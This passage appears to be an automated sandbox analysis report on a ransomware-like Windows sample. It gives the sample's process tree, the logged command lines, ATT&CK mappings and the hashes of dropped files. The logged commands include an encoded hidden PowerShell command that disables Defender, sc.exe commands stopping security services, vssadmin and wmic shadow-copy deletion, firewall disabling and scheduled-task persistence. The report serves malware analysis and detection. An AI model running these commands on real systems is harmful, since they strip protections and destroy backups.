wrote to memory of 832 4460 neymar2022.football_chrome.exe 161 PID 4460 wrote to memory of 4564 4460 neymar2022.football_chrome.exe 164 PID 4460 wrote to memory of 1752 4460 neymar2022.football_chrome.exe 166 PID 4460 wrote to memory of 4252 4460 neymar2022.football_chrome.exe 167 PID 832 wrote to memory of 4864 832 net.exe 170 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\neymar2022.football_chrome.exe"C:\Users\Admin\AppData\Local\Temp\neymar2022.football_chrome.exe"1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies security service
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Checks computer location settings
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Reads the TCP/IP host and domain name from the registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4460 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==2⤵
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:832
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:1572
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config wscsvc start= disabled2⤵
- Launches sc.exe
PID:3004
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop SecurityHealthService2⤵
- Launches sc.exe
PID:4736
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled2⤵
- Launches sc.exe
PID:3384
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WinDefend2⤵
- Launches sc.exe
PID:3680
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WinDefend start= disabled2⤵
- Launches sc.exe
PID:3952
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop MsMpSvc2⤵
- Launches sc.exe
PID:3280
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config MsMpSvc start= disabled2⤵
- Launches sc.exe
PID:4868
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:1488 -
C:\Users\Admin\AppData\Local\Temp\neymar2022.football_chrome.exe"C:\Users\Admin\AppData\Local\Temp\neymar2022.football_chrome.exe"3⤵PID:2756
-
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:4136
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wuauserv2⤵
- Launches sc.exe
PID:3792
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:1748
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of AdjustPrivilegeToken
PID:4956
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:5032
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\neymar2022.football_chrome.exe" /sc onlogon /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:2968
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\neymar2022.football_chrome.exe" /sc minute /mo 30 /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:3384
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:640 -
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
PID:840
-
-
C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of AdjustPrivilegeToken
PID:872
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:268 -
C:\Windows\system32\systeminfo.exesysteminfo3⤵
- Gathers system information
PID:3400
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:296 -
C:\Windows\system32\tasklist.exetasklist3⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
PID:3620
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:624 -
C:\Windows\system32\whoami.exewhoami3⤵
- Suspicious use of AdjustPrivilegeToken
PID:4808
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5108 -
C:\Windows\system32\net.exenet user3⤵
- Suspicious use of WriteProcessMemory
PID:3752 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user4⤵PID:3616
-
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1940 -
C:\Windows\system32\ipconfig.exeipconfig /all3⤵
- Gathers network information
PID:1836
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1712 -
C:\Windows\system32\NETSTAT.EXEnetstat -an3⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
PID:1292
-
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\neymar2022.football_chrome.exe" /sc daily /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:1036
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:2204
-
-
C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"2⤵PID:4728
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:3804
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
- Reads the TCP/IP host and domain name from the registry
PID:4464
-
-
C:\Windows\System32\net.exe"C:\Windows\System32\net.exe" stop srservice2⤵
- Suspicious use of WriteProcessMemory
PID:832 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop srservice3⤵PID:4864
-
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:4564
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config i8042prt start= disabled2⤵
- Launches sc.exe
PID:1752
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop i8042prt2⤵
- Launches sc.exe
PID:4252
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4032
-
C:\Users\Admin\AppData\Local\Temp\neymar2022.football_chrome.exeC:\Users\Admin\AppData\Local\Temp\neymar2022.football_chrome.exe1⤵PID:2832
-
C:\Users\Admin\AppData\Local\Temp\neymar2022.football_chrome.exeC:\Users\Admin\AppData\Local\Temp\neymar2022.football_chrome.exe1⤵PID:3628
-
C:\Windows\System32\WaaSMedicAgent.exeC:\Windows\System32\WaaSMedicAgent.exe df0bcdd6fc46bfdb4551472ca7805f4c i6FrL4hiWkCHPNRi+rd0YA.0.1.0.0.01⤵PID:1836
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV12⤵PID:2756
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
4PowerShell
1Visual Basic
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
5Windows Service
5Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
5Windows Service
5Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
1Indicator Removal
2File Deletion
2Modify Registry
4Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\ProgramData\SysUpdate\Scr\scr_20260930_040850.jpg
- Size 90KB
- SHA256 1c4f8b4c759b674af07653f2ea15a726831aa416742e72a3efd99765c82fd8e7
- MD5 d88bfb95ec616ce58036bff901f7a4b9
- SHA1 6ab2d5c3ad7e733d4a05244741c4ee179a0b5922
- SHA512 98a70942d71f520657f5e13c9f261dbf21f573b89bdc37fe4cc9c600adc5361549ea459814389a1cab4f0f827fe36b09a95393195ef09898a24d0e61020dd034
- SSDEEP 1536:IaKz/ll8Mo3rdME6O12/TxulvP8NIJ+QzfFeir55555555555555sPSHRPOBuDC:1RG1LAlvb+q+EOBB
- TLSH T1ED9387579D48DB83A42887D5BE431F9C2F166F1CE98279FF41661ECB3E606225C8D02E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\ProgramData\invoice_1.pdf
- Size 76KB
- SHA256 3bf14d8a8f91a6c5231761d9a1994796788793470a15d140c0d8bec6e04f3cc3
- MD5 47f083083808cb3a408c0145ccf34ebd
- SHA1 5c05269f020a630715d7048f2910a7fc5024519e
- SHA512 2afcff66cc8e9886bd5d49a802be6733ecccf1c1d79236412a5b1aaa6fcffd543087c6d7a40a3d83012d6248f3d04707a44b6a02f2b606d7526fbf74e48fc873
- SSDEEP 1536:JOjZT8RZtSCEQyK4pw5JHa0m8XW1qJi0qMuvc140zzOCJVQwtKP4lVS:JOjZ8Zt7EQ4Yu8XW1qJi0qDUe0zzlQQg
- TLSH T1F97319368F32FCD4277E3D90E0103E562C882E678BB5667CFA850DA62AA5544CF3D59C
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\SystemVolumeInformation\doc_3.pdf
- Size 76KB
- SHA256 bdd28c1ed2daa37a8d8536a5e20a42be9507cb1faf607aa7a3a8412e7463b621
- MD5 0884102eac4e69f772db50df34920f3c
- SHA1 6037a943ef2104b87229e1ac299fec46c813a278
- SHA512 23e23cd3fd9d026f95bba45bf76c6d4730dc5d21b5132ced7a8c4785b1f0cd38a1eb1c1e65f790c782d052e952175bfa9740819aa06cdb855a61896793d02edd
- SSDEEP 1536:pOjZT8RZtSCEQyK4pw5JHa0m8XW1qJi0qMuvc140zzOCJVQwtKP4lVF:pOjZ8Zt7EQ4Yu8XW1qJi0qDUe0zzlQQ7
- TLSH T1E47319368F32FCD4277E3D90E0103E561C882E678BB56A7CFA850DA62AA5544CF3D59C
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\neymar2022.football_chrome.exe.log
- Size 660B
- SHA256 f424c891fbc7385e9826beed2dd8755aeac5495744b5de0a1e370891a7beaf7a
- MD5 1c5e1d0ff3381486370760b0f2eb656b
- SHA1 f9df6be8804ef611063f1ff277e323b1215372de
- SHA512 78f5fc40a185d04c9e4a02a3d1b10b4bd684c579a45a0d1e8f49f8dee9018ed7bc8875cbf21f98632f93ead667214a41904226ce54817b85caeeb4b0de54a743
- TLSH T1CF014970227BA0D888152F942C2E2BC403BF0336B5509E187998729EEE264571F212E6
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2gqbdk5k.eak.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
- Size 251B
- SHA256 07082782bc342485d86e8f3d303bbdd412b24225f57b2310298cd48cfe6ce4fe
- MD5 c80aed42fab304a23a36a54292b72aba
- SHA1 280c1e99567545ca6d01e736b07cc10cdd23b9dd
- SHA512 0ab06a20ac774e44c77b9e7d7b90cfbea2d98bde2ed5f069039022f63a56ffb25c9cae5baa6b41b08de38a8c5b3c7df15667d85cacf13704cecf11b1f0489822
- TLSH T17ED0978BB248CBAC0002137BC0F38D4CE9F188293F13BE605AA4DD0D32C088089F6453
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\del.bat
- Size 59B
- SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
- MD5 9cecbebdcdd60358132849714a3b82f7
- SHA1 be6e20834a5726f3742f05e6bdfaff16118b147f
- SHA512 7b48bd66b4c741d2de2e8b7bc0eab8f438ddc1ed0c73e8b70add9bee400f6640f692884965032616e2d6911a22a17d1d3762421aa49fe021660c9052cfc0675a
- TLSH T13DA002620F961E5469529E5AD73425239D1F104CD1390012F05232903DA98DE0EC2144
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
- Size 252B
- SHA256 036f41dff84a70b3099380dfe19bfc9b284cafc91275c19ba87dbb4f2cb370e7
- MD5 47f7958ba53006ed5fafda8c37948a34
- SHA1 f1362c33dca56b9f4728fdecafd3057a5715076c
- SHA512 78a78489d187037b3e3794f66e821853377b8ba53bed5f424d336007ff13b885022e3184f8ce5c285819fcca712526499d9bb5809f3900123fefcbc666eb5da1
- TLSH T19FD05B9B615987690002527B80B38D4DD5E145293E13AD615955DD0D328184549F6553
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\temp_steal.log
- Size 121KB
- SHA256 cd19709ac0af35986fc06f0624fab19e69a5eab0cf520e9ed77cbdc61c1f9e92
- MD5 5eb33f0272d34c3721d3433f60904ac7
- SHA1 31b73d4ae71830de7c31b4ba0eebfb4729310575
- SHA512 ee99d8496ab6cd4184c97442b5fbf254b5eba388be673826db9447368743bba16838217f48a6912315c3e558ef95b55ca5043b754bb81f4212c8e2d063118f4a
- SSDEEP 1536:LuRdwkc4ZkwOYtMOMEej8gk0D3NIt51Sbn78Lohe+6:L6c4WwOYSO2D3NC51SbgLohd6
- TLSH T1E8C3C310D6B69E7A54965AEF191336D4A03CB7F182DCC1FB70A2EF63F062CE2C658611
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\Desktop\stolen_data_here.txt
- Size 121KB
- SHA256 e0121475525db5aca4788bf90f50c3741857a3573fdd757ef2de9ab1ceafecce
- MD5 e75bc53e0528b2111677f372e90ab434
- SHA1 7f91138e35452cebee6f6741b8dff2e806e034ee
- SHA512 98a60f648fa230372b8f4e98656c0c4cad47c8c2d8e73c3e0f20215c1c4afa1b3e825521c0b9e1775e8a13e33ba23ff18799a20666eb2bae872914722f23c1ee
- SSDEEP 1536:euRdwkc4ZkwOYtMOMEej8gk0D3NIt51Sbn78Lohe+M:e6c4WwOYSO2D3NC51SbgLohdM
- TLSH T10BC3C310D6B69E7A54965AEF191336D4A03CB7F182DCC1FB70A2EF63F062CE2C658611
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\System32\sysupdate.exe
- Size 57KB
- SHA256 63514c910266e91d8ebb0436952be62ab0b666663cf2de64d6f3bda001cc064b
- MD5 896591756391f33ca1470b863518307b
- SHA1 cbed8dca46bb4b3ef1dab8b38b9ab59a840cfe3a
- SHA512 5b2d01509494c82b76e7ba0769cfed370b8eb972a791c860d48cae69d248e23d81d79c8722e04cbb3bff648a4cd4db572aec3f8f582bed8f788c39eb1546ba89
- SSDEEP 768:1FVG6s2NKKna4CaOhnVirKWRkadtYMn4xN1XXGb5fAdOT5KFum1M:1FVLw4tUUvy6GY4xLXGb5feOT5uuv
- TLSH T18343E74477FD4211E1BF8EBA9CB191514B32B8676D32D38E06D4068E19B2B44CDA8F77
- MD5 SHA1 SHA512 SSDEEP TLSH